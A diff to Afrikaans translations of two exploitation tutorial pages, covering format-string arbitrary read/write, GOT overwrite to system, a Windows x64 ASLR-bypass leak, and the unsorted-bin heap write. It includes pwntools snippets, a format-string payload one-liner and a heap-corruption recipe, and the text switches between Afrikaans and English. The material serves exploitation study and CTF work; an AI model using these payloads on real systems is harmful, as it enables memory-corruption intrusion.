diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index add28ca9c..fd6659fd5 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -5,13 +5,13 @@ ## Basiese Inligting -In C **`printf`** is 'n funksie wat gebruik kan word om 'n string uit te druk. Die **eerste parameter** wat hierdie funksie verwag, is die **ruwe teks met die formateerders**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formateerders** in die ruwe teks te **vervang**. +In C **`printf`** is 'n funksie wat gebruik kan word om 'n string te **druk**. Die **eerste parameter** wat hierdie funksie verwag, is die **ruwe teks met die formaatspesifikators**. Die **volgende parameters** wat verwag word, is die **waardes** om die **formaatspesifikators** in die ruwe teks te **vervang**. Ander kwesbare funksies is **`sprintf()`** en **`fprintf()`**. -Die kwesbaarheid verskyn wanneer 'n **aanvaller se teks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer wat misbruik maak van** die **printf format** string-vaardighede om te lees en om **enige data by enige adres (leesbaar/skryfbaar) te skryf**. Op hierdie manier kan hulle **willekeurige kode uitvoer**. +Die kwesbaarheid verskyn wanneer 'n **aanvallerteks as die eerste argument** aan hierdie funksie gebruik word. Die aanvaller sal in staat wees om 'n **spesiale invoer te vervaardig wat die printf format string vermoeëns misbruik** om enige data by enige adres **(leesbaar/skryfbaar)** te **lees** en te **skryf**. Hiermee kan **arbitrêre kode** uitgevoer word. -#### Formateerders: +#### Formaatspesifikators: ```bash %08x —> 8 hex bytes %d —> Entire @@ -30,12 +30,12 @@ char buffer[30]; gets(buffer); // Dangerous: takes user input without restrictions. printf(buffer); // If buffer contains "%x", it reads from the stack. ``` -- Normale Gebruik: +- Normale gebruik: ```c int value = 1205; printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 ``` -- Met Ontbrekende Argumente: +- Met ontbrekende argumente: ```c printf("%x %x %x", value); // Unexpected output: reads random values from the stack. ``` @@ -52,28 +52,28 @@ fclose(output_file); return 0; } ``` -### **Toegang tot aanwysers** +### **Toegang tot Aanwysers** -Die formaat **`%$x`**, waar `n` 'n getal is, laat toe om aan printf aan te dui om die n-de parameter (van die stack) te kies. Dus, as jy die 4de parameter van die stack met printf wil lees, kan jy dit so doen: +Die formaat **`%$x`**, waar `n` 'n nommer is, laat printf toe om die n-de parameter (van die stack) te kies. As jy dus die 4de parameter van die stack met printf wil lees, kan jy: ```c printf("%x %x %x %x") ``` -en jy sou van die eerste tot die vierde parameter lees. +en jy sal vanaf die eerste tot die vierde param lees. -Of jy kan dit so doen: +Of jy kan ook doen: ```c printf("%4$x") ``` -en lees direk die vierde. +and read directly the forth. Notice that the attacker controls the `printf` **parameter, which basically means that** his input is going to be in the stack when `printf` is called, which means that he could write specific memory addresses in the stack. > [!CAUTION] -> `n attacker wat hierdie input beheer, sal in staat wees om` **add arbitrary address in the stack and make `printf` access them**. In die volgende afdeling sal verduidelik word hoe om hierdie gedrag te gebruik. +> An attacker controlling this input, will be able to **add arbitrary address in the stack and make `printf` access them**. In the next section it will be explained how to use this behaviour. ## **Arbitrary Read** -Dit is moontlik om die formatter **`%n$s`** te gebruik om **`printf`** die **address** te laat kry wat in die **n position** geleë is, dit te volg en **dit te print asof dit was 'n string** (print tot 'n 0x00 gevind word). Dus as die base address van die binary **`0x8048000`**, en ons weet dat die user input in die 4th position in die stack begin, is dit moontlik om die starting van die binary te print met: +It's possible to use the formatter **`%n$s`** to make **`printf`** get the **address** situated in the **n position**, following it and **print it as if it was a string** (print until a 0x00 is found). So if the base address of the binary is **`0x8048000`**, and we know that the user input starts in the 4th position in the stack, it's possible to print the starting of the binary with: ```python from pwn import * @@ -87,7 +87,7 @@ p.sendline(payload) log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ``` > [!CAUTION] -> Let wel dat jy nie die adres 0x8048000 aan die begin van die invoer kan plaas nie omdat die string 'n 0x00 aan die einde van daardie adres sal hê. +> Neem asseblief kennis dat jy die adres 0x8048000 nie aan die begin van die invoer kan plaas nie omdat die string by 0x00 aan die einde van daardie adres cat sal word. ### Vind offset @@ -126,38 +126,37 @@ p.close() ``` -### How useful +### Hoe nuttig -Arbitrary reads kan nuttig wees vir: +Arbitrary reads kan nuttig wees om: -- **Dump** die **binary** vanaf geheue -- **Access specific parts of memory where sensitive** **info** is stored (soos canaries, encryption keys of custom passwords soos in hierdie [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) +- **Dump** the **binary** from memory +- **Toegang tot spesifieke dele van memory waar sensitiewe** **inligting** gestoor word (soos canaries, encryption keys of custom passwords soos in hierdie [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value)) ## **Arbitrary Write** -Die formatter **`%$n`** **skryf** die **aantal geskryfde bytes** na die **aangewese adres** in die parameter op die stack. As 'n attacker soveel karakters kan skryf as hy wil met printf, sal hy in staat wees om **`%$n`** 'n arbitrary getal na 'n arbitrary adres te laat skryf. +Die formatter **`%$n`** **skryf** die **aantal geskryfde bytes** na die **aangegewe adres** in die parameter op die stack. If an attacker can write as many char as he will with printf, he is going to be able to make **`%$n`** write an arbitrary number in an arbitrary address. -Gelukkig hoef jy nie 9999 "A"s by die invoer te voeg om die getal 9999 te skryf nie; dit is moontlik om die formatter **`%.%$n`** te gebruik om die getal **``** in die **adres waarna die `num` posisie wys** te skryf. +Gelukkig is dit nie nodig om 9999 "A"s by die inset te voeg om die nommer 9999 te skryf nie; in plaas daarvan kan mens die formatter **`%.%$n`** gebruik om die nommer **``** te skryf in die **adres waarna die `num`-posisie wys**. ```bash AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param AAAA.%500\$08x —> Param at offset 500 ``` -Neem egter kennis dat gewoonlik, om 'n address' soos `0x08049724` (wat 'n HUGE number is om in een keer te skryf) te skryf, **word `$hn`** in plaas van `$n` gebruik. Dit maak dit moontlik om **slegs 2 Bytes** te skryf. Daarom word hierdie operasie twee keer uitgevoer: een keer vir die hoogste 2B van die address en nog 'n keer vir die laagste. +Echter, let daarop dat gewoonlik om 'n adres te skryf soos `0x08049724` (wat 'n HUGE number is om terselfdertyd te skryf), **word `$hn` gebruik** in plaas van `$n`. Dit maak dit moontlik om **slegs 2 Bytes** te skryf. Daarom word hierdie bewerking twee keer uitgevoer, een keer vir die hoogste 2B van die adres en nog 'n keer vir die laagste. -Dus laat hierdie kwesbaarheid toe om **enigiets in enige address te skryf (arbitrary write).** - -In hierdie voorbeeld is die doel om die **address** van 'n **function** in die **GOT**-tabel wat later aangeroep gaan word, te **oor skryf**. Alhoewel dit ook ander arbitrary write to exec-tegnieke kan misbruik: +Daarom laat hierdie kwesbaarheid toe om **enige iets in enige adres te skryf (arbitrary write).** +In hierdie voorbeeld is die doel om die **adres** van 'n **function** in die **GOT** tabel wat later aangeroep gaan word, te **oorskryf**. Alhoewel dit ander arbitrary write to exec techniques kan misbruik: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -Ons gaan 'n **function** oor skryf wat sy **arguments** van die **user** ontvang en dit na die **`system`** **function** wys.\ -Soos vermeld, om die address te skryf is daar gewoonlik 2 stappe nodig: eers skryf jy 2 Bytes van die address en dan die ander 2. Hiervoor word **`$hn`** gebruik. +Ons gaan 'n **function** oorskryf wat sy **argumente** van die **user** ontvang en dit na die **`system`** **function** wys.\ +Soos genoem, om die adres te skryf is gewoonlik 2 stappe nodig: eers skryf jy **2Bytes** van die adres en daarna die ander 2. Hiervoor word **`$hn`** gebruik. -- **HOB** verwys na die 2 hoër bytes van die address -- **LOB** verwys na die 2 laer bytes van die address +- **HOB** word genoem vir die 2 hoër bytes van die adres +- **LOB** word genoem vir die 2 laer bytes van die adres Dan, as gevolg van hoe format string werk, moet jy **eers die kleinste** van \[HOB, LOB] skryf en dan die ander een. @@ -171,9 +170,9 @@ HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` -### Pwntools-sjabloon +### Pwntools Sjabloon -Jy kan 'n **sjabloon** vind om 'n exploit voor te berei vir hierdie tipe kwesbaarheid in: +Jy kan 'n **sjabloon** vind om 'n exploit voor te berei vir hierdie soort kwesbaarheid in: {{#ref}} @@ -201,26 +200,26 @@ p.interactive() ``` ## Format Strings to BOF -Dit is moontlik om die skryf-aksies van 'n format string kwetsbaarheid te misbruik om **in adresse van die stack te skryf** en 'n **buffer overflow** tipe kwesbaarheid uit te buit. +Dit is moontlik om die write actions van 'n format string vulnerability te misbruik om **in adresse van die stack te skryf** en 'n **buffer overflow** tipe kwesbaarheid uit te buiten. -## Windows x64: Format-string leak om ASLR te omseil (no varargs) +## Windows x64: Format-string leak to bypass ASLR (no varargs) -Op Windows x64 word die eerste vier integer/pointer parameters in registers deurgegee: RCX, RDX, R8, R9. In baie foutiewe call-sites word die attacker-controlled string as die format argument gebruik, maar geen variadic arguments word voorsien nie, byvoorbeeld: +Op Windows x64 word die eerste vier integer/pointer parameters in registers gegee: RCX, RDX, R8, R9. In baie buggy call-sites word die attacker-controlled string as die format argument gebruik, maar geen variadic arguments verskaf nie, byvoorbeeld: ```c // keyData is fully controlled by the client // _snprintf(dst, len, fmt, ...) _snprintf(keyStringBuffer, 0xff2, (char*)keyData); ``` -Omdat geen variadiese argumente oorgedra word nie, sal enige conversie soos "%p", "%x", "%s" die CRT veroorsaak om die volgende variadiese argument uit die toepaslike register te lees. Met die Microsoft x64 calling convention kom die eerste sodanige lees vir "%p" uit R9. Watter tydelike waarde ook al in R9 by die call-site is, sal uitgeprint word. In praktyk this often leaks a stable in-module pointer (e.g., a pointer to a local/global object previously placed in R9 by surrounding code or a callee-saved value), wat gebruik kan word om die module base te herstel en ASLR te omseil. +Omdat geen varargs deurgegee word nie, sal enige omskakeling soos "%p", "%x", "%s" die CRT veroorsaak om die volgende variadiese argument uit die toepaslike register te lees. Met die Microsoft x64 calling convention kom die eerste sodanige lees vir "%p" uit R9. Watter transiente waarde ook al in R9 by die call-site is, sal gedruk word. In die praktyk leaks dit dikwels 'n stabiele in-module pointer (e.g., 'n pointer na 'n local/global object wat voorheen in R9 geplaas is deur omringende kode of 'n callee-saved waarde), wat gebruik kan word om die module base te herstel en ASLR te omseil. Praktiese werkvloei: -- Inspuit 'n onskadelike formaat soos "%p " heel aan die begin van die deur die aanvaller beheerste string sodat die eerste konversie uitgevoer word voordat enige filtering plaasvind. -- Vang die leaked pointer, identifiseer die statiese offset van daardie objek binne die module (deur een keer te reverseer met simbole of 'n lokale kopie), en herstel die image base as `leak - known_offset`. -- Herbruik daardie base om absolute adresse vir ROP gadgets en IAT entries op afstand te bereken. +- Inject a harmless format such as "%p " at the very start of the attacker-controlled string so the first conversion executes before any filtering. +- Capture the leaked pointer, identify the static offset of that object inside the module (by reversing once with symbols or a local copy), and recover the image base as `leak - known_offset`. +- Reuse that base to compute absolute addresses for ROP gadgets and IAT entries remotely. -Voorbeeld (verkorte python): +Example (abbreviated python): ```python from pwn import remote @@ -232,27 +231,27 @@ leaked = int(io.recvline().split()[2], 16) # e.g. 0x7ff6693d0660 base = leaked - 0x20660 # module base = leak - offset print(hex(leaked), hex(base)) ``` -Notes: -- Die presiese offset om af te trek word een keer gevind tydens plaaslike reversing en daarna hergebruik (dieselfde binary/weergawe). -- As "%p" nie 'n geldige pointer op die eerste poging afdruk nie, probeer ander specifiers ("%llx", "%s") of meerdere konversies ("%p %p %p") om ander argument registers/stack te bemonster. -- Hierdie patroon is spesifiek vir die Windows x64 calling convention en printf-family implementasies wat nie-bestaande varargs uit registers haal wanneer die format string dit versoek. +Aantekeninge: +- Die presiese offset om af te trek word een keer tydens local reversing gevind en daarna hergebruik (same binary/version). +- As "%p" nie 'n geldige pointer op die eerste poging uitdruk nie, probeer ander specifiers ("%llx", "%s") of meerdere conversions ("%p %p %p") om ander argument registers/stack te steekproef. +- Hierdie patroon is spesifiek vir die Windows x64 calling convention en printf-family-implementasies wat nie-bestaande varargs uit registers haal wanneer die format string dit versoek. Hierdie tegniek is uiters nuttig om ROP te bootstrap op Windows services wat met ASLR saamgestel is en geen voor die hand liggende memory disclosure primitives het nie. -## Other Examples & References +## Ander Voorbeelde & Verwysings - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, basiese gebruik van format strings om die flag vanaf die stack te leak (geen behoefte om die uitvoeringvloei te verander nie) +- 32 bit, no relro, no canary, nx, no pie, basiese gebruik van format strings om die flag van die stack te leak (geen behoefte om die execution flow te verander nie) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string om die adres van `fflush` oor te skryf met die win-funksie (ret2win) +- 32 bit, relro, no canary, nx, no pie, format string om die adres `fflush` oor te skryf met die win funksie (ret2win) - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string om 'n adres binne main in `.fini_array` te skryf (sodat die vloei nog 1 keer teruglus) en die adres na `system` in die GOT-tabel te skryf wat na `strlen` wys. Wanneer die vloei teruggaan na main, word `strlen` met gebruikersinvoer uitgevoer en, aangesien dit na `system` wys, sal dit die deurgegewe opdragte uitvoer. +- 32 bit, relro, no canary, nx, no pie, format string om 'n adres binne main in `.fini_array` te skryf (sodat die flow nog 1 keer teruglus) en die adres van `system` in die GOT-tabel te skryf wat na `strlen` wys. Wanneer die flow terugkeer na main, sal `strlen` met gebruikersinvoer uitgevoer word, en omdat dit na `system` wys, sal dit die gegewe opdragte uitvoer. -## References +## Verwysings - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html) - [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention) diff --git a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md index f1258301c..93ff48266 100644 --- a/src/binary-exploitation/libc-heap/unsorted-bin-attack.md +++ b/src/binary-exploitation/libc-heap/unsorted-bin-attack.md @@ -4,67 +4,68 @@ ## Basiese Inligting -Vir meer inligting oor wat 'n unsorted bin is, kyk hierdie blad: +Vir meer inligting oor wat 'n unsorted bin is, kyk hierdie bladsy: + {{#ref}} bins-and-memory-allocations.md {{#endref}} -Unsorted lists is in staat om die adres van `unsorted_chunks (av)` te skryf in die `bk` adres van die chunk. Daarom, as 'n aanvaller die adres van die `bk` pointer in 'n chunk binne die unsorted bin kan **wysig**, kan hy daardie adres in 'n arbitrêre adres **skryf**, wat nuttig kan wees om Glibc addresses te leak of sekere verdediging te omseil. +Unsorted lists kan die adres na `unsorted_chunks (av)` skryf in die `bk`-adres van die chunk. Daarom, as 'n aanvaller die adres van die `bk`-pointer in 'n chunk binne die unsorted bin kan wysig, kan hy daardie adres na 'n ewekansige adres skryf, wat nuttig kan wees om Glibc-adresse te leak of sekere verdediging te omseil. -Dus, basies laat hierdie aanval toe om **'n groot getal by 'n arbitrêre adres te stel**. Hierdie groot getal is 'n adres, wat 'n heap adres of 'n Glibc adres kan wees. 'n Tradisionele teiken was **`global_max_fast`** om toe te laat om fast bin bins met groter groottes te skep (en van 'n unsorted bin aanval na 'n fast bin aanval oor te gaan). +Dus, basies laat hierdie aanval toe om 'n groot getal by 'n ewekansige adres te stel. Hierdie groot getal is 'n adres, wat 'n heap-adres of 'n Glibc-adres kan wees. 'n Tradisionele teiken was `global_max_fast` om toe te laat dat fast bin bins met groter groottes geskep word (en van 'n unsorted bin attack na 'n fast bin attack oorgaan). -- Moderne nota (glibc ≥ 2.39): `global_max_fast` het 'n 8‑bit globale geword. Blindelings 'n pointer daarheen skryf via 'n unsorted-bin write sal nabygeleë libc data beskadig en sal nie meer betroubaar die fastbin limiet optel nie. Verkies ander teikens of primitiewe wanneer jy teen glibc 2.39+ werk. Sien "Modern constraints" hieronder en oorweeg om te kombineer met ander tegnieke soos 'n [large bin attack](large-bin-attack.md) of 'n [fast bin attack](fast-bin-attack.md) eens jy 'n stabiele primitive het. +- Modern note (glibc ≥ 2.39): `global_max_fast` het 'n 8‑bit global geword. Om blindelings 'n pointer daarheen te skryf via 'n unsorted-bin write sal aangrensende libc-data beskadig en sal nie meer betroubaar die fastbin-limiet verhoog nie. Verkies ander teikens of primitiewe teen glibc 2.39+. Sien "Modern constraints" hieronder en oorweeg om te kombineer met ander tegnieke soos 'n [large bin attack](large-bin-attack.md) of 'n [fast bin attack](fast-bin-attack.md) sodra jy 'n stabiele primitive het. > [!TIP] -> Neem 'n kyk na die voorbeeld in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) en deur 0x4000 en 0x5000 te gebruik in plaas van 0x400 en 0x500 as chunk groottes (om Tcache te vermy) is dit moontlik om te sien dat **deesdae** die fout **`malloc(): unsorted double linked list corrupted`** getrigger word. +> Neem 'n kyk na die voorbeeld verskaf in [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#principle) en deur 0x4000 en 0x5000 in plaas van 0x400 en 0x500 as chunk-groottes te gebruik (om Tcache te vermy) is dit moontlik om te sien dat **deesdae** die fout **`malloc(): unsorted double linked list corrupted`** getrigger word. +> +> Daarom vereis hierdie unsorted bin attack nou (benewens ander kontroles) ook dat die dubbel gekoppelde lys reggemaak kan word sodat hierdie fout omseil word — d.w.s. die kontrole `victim->bk->fd == victim` of `victim->fd == av (arena)` moet slaag. Dit beteken dat die adres waarheen ons wil skryf die adres van die vals chunk in sy `fd`-posisie moet hê en dat die vals chunk se `fd` na die arena wys. > -> Daarom vereis hierdie unsorted bin aanval nou (onder andere kontroles) ook dat jy die dubbelgekoppelde lys kan herstel sodat dit nie hierdie fout veroorsaak nie — byvoorbeeld `victim->bk->fd == victim` of `victim->fd == av (arena)` moet voldoen — wat beteken dat die adres waarheen ons wil skryf die adres van die vals chunk in sy `fd` posisie moet hê en dat die vals chunk se `fd` na die arena verwys. - > [!CAUTION] -> Let daarop dat hierdie aanval die unsorted bin korrupteer (dus ook small en large). Ons kan dus slegs nou **allerlei toewysings uit die fast bin gebruik** ('n meer komplekse program mag ander toewysings doen en crash), en om dit te trigger moet ons **dieselfde grootte toewys — anders sal die program crash.** +> Let wel dat hierdie aanval die unsorted bin korrupteer (en dus ook small en large). Ons kan nou slegs toewysings uit die fast bin gebruik (nie-'n meer komplekse program wat ander toewysings doen en kan crash nie), en om dit te trigger moet ons dieselfde grootte toewys — anders sal die program crash. > -> Oorskrywing van **`global_max_fast`** kan in hierdie geval help in die veronderstelling dat die fast bin al die ander toewysings kan hanteer totdat die exploit voltooi is. +> Let ook dat die oor-skrywing van `global_max_fast` in hierdie geval kan help, aangesien die fast bin moontlik al die ander toewysings kan hanteer totdat die exploit voltooi is. -Die kode van [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) verduidelik dit baie goed, alhoewel as jy die mallocs verander om geheue groot genoeg toe te ken sodat dit nie in 'n Tcache eindig nie, kan jy sien dat die vroeër genoemde fout verskyn wat hierdie tegniek verhoed: **`malloc(): unsorted double linked list corrupted`** +Die kode van [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) verduidelik dit baie goed. As jy egter die mallocs aanpas om genoeg groot geheue te alokeer sodat dit nie in Tcache eindig nie, sal die voorheen genoemde fout verskyn en hierdie tegniek verhinder: **`malloc(): unsorted double linked list corrupted`** -### Hoe die skryf werklik gebeur +### Hoe die skryf werklik plaasvind -- Die unsorted-bin skryf word geaktiveer tydens `free` wanneer die bevryde chunk by die kop van die unsorted lys geplaas word. +- Die unsorted-bin write word getrigger by `free` wanneer die vrygelaat chunk aan die kop van die unsorted list ingevoeg word. - Tydens invoeging voer die allocator uit: `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;` - As jy `victim->bk` kan stel na `(mchunkptr)(TARGET - 0x10)` voordat jy `free(victim)` aanroep, sal die finale stelling die skryf uitvoer: `*(TARGET) = victim`. - Later, wanneer die allocator die unsorted bin verwerk, sal integriteitskontroles (onder andere) verifieer dat `bck->fd == victim` en `victim->fd == unsorted_chunks(av)` voordat dit unlink. Omdat die invoeging reeds `victim` in `bck->fd` (ons `TARGET`) geskryf het, kan hierdie kontroles bevredig word as die skryf suksesvol was. ## Moderne beperkings (glibc ≥ 2.33) -Om unsorted‑bin skrywe betroubaar op huidige glibc te gebruik: +Om unsorted‑bin writes betroubaar op huidige glibc te gebruik: -- Tcache inmenging: vir groottes wat in tcache val, word frees daarheen omgeleid en raak nie die unsorted bin nie. Of - - maak versoeke met groottes > MAX_TCACHE_SIZE (≥ 0x410 op 64‑bit standaard), of - - vul die ooreenstemmende tcache bin (7 inskrywings) sodat addisionele frees by die global bins uitkom, of +- Tcache-interferensie: vir groottes wat in tcache val, word frees daarheen omgelei en raak nie die unsorted bin nie. Of: + - maak versoeke met groottes > MAX_TCACHE_SIZE (≥ 0x410 op 64‑bit by verstek), of + - vul die ooreenstemmende tcache-bin (7 inskrywings) sodat addisionele frees by die globale bins uitkom, of - as die omgewing beheerbaar is, deaktiveer tcache (bv. GLIBC_TUNABLES glibc.malloc.tcache_count=0). -- Integriteitskontroles op die unsorted lys: op die volgende allocasie-pad wat die unsorted bin ondersoek, kontroleer glibc (vereenvoudig): +- Integriteitskontroles op die unsorted list: op die volgende toewysingspad wat die unsorted bin ondersoek, kyk glibc (vereenvoudig): - `bck->fd == victim` en `victim->fd == unsorted_chunks(av)`; anders abort dit met `malloc(): unsorted double linked list corrupted`. -- Dit beteken die adres wat jy teiken moet twee skrywe verdra: eers `*(TARGET) = victim` tydens free; later, wanneer die chunk verwyder word, `*(TARGET) = unsorted_chunks(av)` (die allocator skryf `bck->fd` terug na die binkop). Kies teikens waar dit nuttig is om bloot 'n groot nie‑nul waarde af te dwing. -- Tipiese stabiele teikens in moderne exploits - - Aansoek- of globale toestand wat "groot" waardes as vlae/limiete behandel. - - Indirekte primitiewe (bv. opstel vir 'n volgende [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) of om 'n latere write‐what‐where te pivot). - - Vermy `__malloc_hook`/`__free_hook` op nuwe glibc: dit is verwyder in 2.34. Vermy `global_max_fast` op ≥ 2.39 (sien vorige nota). -- Oor `global_max_fast` op onlangse glibc - - Op glibc 2.39+ is `global_max_fast` 'n 8‑bit globale. Die klassieke truuk om 'n heap pointer daarin te skryf (om fastbins te vergroot) werk nie meer netjies nie en sal waarskynlik nabygeleë allocator toestand beskadig. Verkies ander strategieë. +- Dit beteken dat die adres wat jy teiken twee skrywings moet verdra: eers `*(TARGET) = victim` tydens free; later, as die chunk verwyder word, `*(TARGET) = unsorted_chunks(av)` (die allocator skryf `bck->fd` terug na die binkop). Kies teikens waar die eenvoudige afdwing van 'n groot nie‑nul waarde nuttig is. +- Tipiese stabiele teikens in moderne exploits: + - Aplikasie- of globale state wat "groot" waardes as vlae/limiete hanteer. + - Indirekte primitiewe (bv. opstel vir 'n daaropvolgende [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) of om later 'n write‑what‑where te pivot). + - Vermy `__malloc_hook`/`__free_hook` op nuwe glibc: dit is verwyder in 2.34. Vermy `global_max_fast` op ≥ 2.39 (sien volgende noot). +- Oor `global_max_fast` op onlangse glibc: + - Op glibc 2.39+ is `global_max_fast` 'n 8‑bit global. Die klassieke truuk om 'n heap-pointer daarin te skryf (om fastbins te vergroot) werk nie skoon nie en sal waarskynlik aangrensende allocator-state korrupteer. Verkies ander strategieë. -## Minimale uitbuiting resep (moderne glibc) +## Minimale exploit‑resep (moderne glibc) -Doel: bereik 'n enkele arbitrêre skryf van 'n heap pointer na 'n arbitrêre adres deur gebruik van die unsorted‑bin invoegingsprimitive, sonder om te crash. +Doel: behaal 'n enkele ewekansige skryf van 'n heap-pointer na 'n ewekansige adres deur die unsorted‑bin invoeg primitive te gebruik, sonder om te crash. -- Layout/voorbereiding - - Allocate A, B, C met groottes groot genoeg om tcache te omseil (bv. 0x5000). C voorkom konsolidasie met die top chunk. -- Korrupsie +- Layout/grooming + - Alokeer A, B, C met groottes groot genoeg om tcache te omseil (bv. 0x5000). C verhoed konsolidasie met die top chunk. +- Korruptie - Overflow van A in B se chunk header om `B->bk = (mchunkptr)(TARGET - 0x10)` te stel. -- Aktivering +- Trigger - `free(B)`. Tydens invoeging voer die allocator `bck->fd = B` uit, dus `*(TARGET) = B`. - Voortsetting - - As jy beplan om voort te gaan met toewysings en die program die unsorted bin gebruik, verwag dat die allocator later `*(TARGET) = unsorted_chunks(av)` sal stel. Albei waardes is tipies groot en kan genoeg wees om grootte/limiet semantiek in teikens wat slegs vir "groot" check, te verander. + - As jy beplan om voort te gaan met toewysings en die program gebruik die unsorted bin, verwag dat die allocator later `*(TARGET) = unsorted_chunks(av)` sal stel. Beide waardes is tipies groot en kan genoeg wees om grootte-/limiet‑semantiek in teikens te verander wat slegs vir "groot" nagaan. Pseudocode skeleton: ```c @@ -79,33 +80,33 @@ void *C = malloc(0x5000); // guard free(B); // triggers *(TARGET) = B (unsorted-bin insertion write) ``` > [!NOTE] -> • As jy nie tcache met grootte kan omseil nie, vul die tcache bin vir die gekose grootte (7 frees) voordat jy die gekorrupte chunk vrylaat sodat die free na unsorted gaan. -> • As die program onmiddellik op die volgende allocation abort weens unsorted-bin checks, ondersoek weer of `victim->fd` steeds gelyk is aan die bin head en dat jou `TARGET` die presiese `victim` pointer bevat na die eerste write. +> • As jy nie tcache met grootte kan omseil nie, vul die tcache bin vir die gekose grootte (7 frees) voordat jy die gecorrumpeerde chunk vrygee sodat die free na unsorted gaan. +> • As die program onmiddellik op die volgende allocation abort weens unsorted-bin checks, ondersoek weer dat `victim->fd` steeds gelyk is aan die bin head en dat jou `TARGET` die presiese `victim` pointer hou na die eerste skryf. ## Unsorted Bin Infoleak Attack -Dit is eintlik 'n baie basiese konsep. Die chunks in die unsorted bin gaan pointers hê. Die eerste chunk in die unsorted bin sal eintlik die **`fd`** en die **`bk`** links hê wat **wys na 'n deel van die main arena (Glibc)**.\ -Daarom, as jy **'n chunk in 'n unsorted bin kan sit en dit read** (use after free) of **dit weer kan allocate sonder om minstens een van die pointers oor te skryf** om dit daarna te **read**, kan jy 'n **Glibc info leak** hê. +Dit is eintlik 'n baie basiese konsep. Die chunks in die unsorted bin sal pointere hê. Die eerste chunk in die unsorted bin sal eintlik die **`fd`** en die **`bk`** skakels hê wat **na 'n deel van die main arena (Glibc) wys**.\ +Dus, as jy 'n chunk in 'n unsorted bin kan plaas en dit kan lees (use after free) of dit weer kan allocate sonder om ten minste een van die pointere oor te skryf om dit daarna te lees, kan jy 'n Glibc info leak hê. -A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was om 'n struktuur van 4 chunks (A, B, C en D - D is slegs om konsolidasie met die top chunk te voorkom) te misbruik, sodat 'n null byte overflow in B gebruik is om C te laat aandui dat B ongebruik was. Ook is in B die `prev_size` data gewysig sodat die grootte, in plaas daarvan om die grootte van B te wees, A+B was.\ -Daarna is C gedelf en gekonsolideer met A+B (maar B was steeds in gebruik). 'n Nuwe chunk van grootte A is gealloceer en toe is die libc leaked addresses in B geskryf vanwaar hulle geleak is. +A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\ +Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked. -## Verwysings & Ander voorbeelde +## References & Other examples - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap) -- Die doel is om 'n globale veranderlike oor te skryf met 'n waarde groter as 4869 sodat dit moontlik is om die vlag te kry en PIE is nie aangeskakel nie. -- Dit is moontlik om chunks van ewekansige groottes te genereer en daar is 'n heap overflow met die verlangde grootte. -- Die aanval begin deur 3 chunks te skep: chunk0 om die overflow te misbruik, chunk1 om oorloop te word en chunk2 sodat die top chunk nie die vorige eenhede konsolideer nie. -- Daarna word chunk1 vrygestel en chunk0 word oorloop na die `bk` pointer waarheen chunk1 wys: `bk = magic - 0x10` -- Dan word chunk3 